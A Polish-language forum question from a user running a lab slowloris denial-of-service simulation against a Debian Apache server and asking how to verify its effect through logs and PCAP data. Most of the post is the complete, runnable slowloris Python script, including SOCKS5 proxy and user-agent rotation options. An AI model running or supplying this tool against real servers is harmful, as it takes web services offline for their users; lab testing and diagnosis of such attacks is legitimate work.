Robię symulację ataku slowloris na serwer Debiana z systemem Apache.
Atakujące maszyny też są Debianem.
Aby upewnić się, że atak slowloris był skuteczny, chciałbym uzyskać dostęp do dzienników Apache i sprawdzić, czy wystąpiła odmowa usługi i czy przestał akceptować połączenia, stan buforów i tak dalej. Czas ataków jest znany.
Używam w laboratorium tego kodu slowloris: https://github.com/gkbrk/slowloris
#!/usr/bin/python
import socket, random, time, sys, argparse, random, logging
parser = argparse.ArgumentParser(description="Slowloris, low bandwidth stress test tool for websites")
parser.add_argument('host', nargs="?", help="Host to preform stress test on")
parser.add_argument('-p', '--port', default=80, help="Port of webserver, usually 80", type=int)
parser.add_argument('-s', '--sockets', default=150, help="Number of sockets to use in the test", type=int)
parser.add_argument('-v', '--verbose', dest="verbose", action="store_true", help="Increases logging")
parser.add_argument('-ua', '--randuseragents', dest="randuseragent", action="store_true", help="Randomizes user-agents with each request")
parser.add_argument('-x', '--useproxy', dest="useproxy", action="store_true", help="Use a SOCKS5 proxy for connecting")
parser.add_argument('--proxy-host', default="127.0.0.1", help="SOCKS5 proxy host")
parser.add_argument('--proxy-port', default="8080", help="SOCKS5 proxy port", type=int)
parser.set_defaults(verbose=False)
parser.set_defaults(randuseragent=False)
parser.set_defaults(useproxy=False)
args = parser.parse_args()
if len(sys.argv)<=1:
parser.print_help()
sys.exit(1)
if not args.host:
print("Host required!")
parser.print_help()
sys.exit(1)
if args.useproxy:
print("Using SOCKS5 proxy for connecting...")
try:
import socks
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port)
socket.socket = socks.socksocket
except ImportError:
print("Socks Proxy Library Not Available!")
if args.verbose == True:
logging.basicConfig(format="[%(asctime)s] %(message)s", datefmt="%d-%m-%Y %H:%M:%S", level=logging.DEBUG)
else:
logging.basicConfig(format="[%(asctime)s] %(message)s", datefmt="%d-%m-%Y %H:%M:%S", level=logging.INFO)
list_of_sockets = []
user_agents = [
"Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0","Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393"
]
def init_socket(ip):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(4)
s.connect((ip,args.port))
s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
if args.randuseragent:
s.send("User-Agent: {}\r\n".format(random.choice(user_agents)).encode("utf-8"))
else:
s.send("User-Agent: {}\r\n".format(user_agents[0]).encode("utf-8"))
s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
return s
def main():
ip = args.host
socket_count = args.sockets
logging.info("Attacking %s with %s sockets.", ip, socket_count)
logging.info("Creating sockets...")
for _ in range(socket_count):
try:
logging.debug("Creating socket nr %s", _)
s = init_socket(ip)
except socket.error:
break
list_of_sockets.append(s)
while True:
logging.info("Sending keep-alive headers... Socket count: %s", len(list_of_sockets))
for s in list(list_of_sockets):
try:
s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
except socket.error:
list_of_sockets.remove(s)
for _ in range(socket_count - len(list_of_sockets)):
logging.debug("Recreating socket...")
try:
s = init_socket(ip)
if s:
list_of_sockets.append(s)
except socket.error:
break
time.sleep(15)
if __name__ == "__main__":
main()
Mam zrzut sieci (plik PCAP) z „konwersacji” między apache serwera WWW (192.168.1.2) a niektórymi klientami:
Co należy sprawdzić, aby udowodnić, że bufor serwera (lub TCP WINDOW) jest pełny? Otrzymałem błąd 403 (error.log). Wiem, że był to atak typu „odmowa usługi” (slowloris).
Czy Apache dostarcza takich informacji? Gdzie sprawdzić Debiana? Jakieś sugestie dotyczące tego, co jeszcze sprawdzić?
networking
security
apache-http-server
Laurinda Souza
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